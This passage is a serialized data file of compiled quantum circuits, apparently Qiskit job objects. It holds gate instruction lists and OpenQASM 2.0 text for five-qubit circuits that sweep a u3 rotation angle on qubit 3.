'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.8000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1243', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.9000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1245', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1247', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1249', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 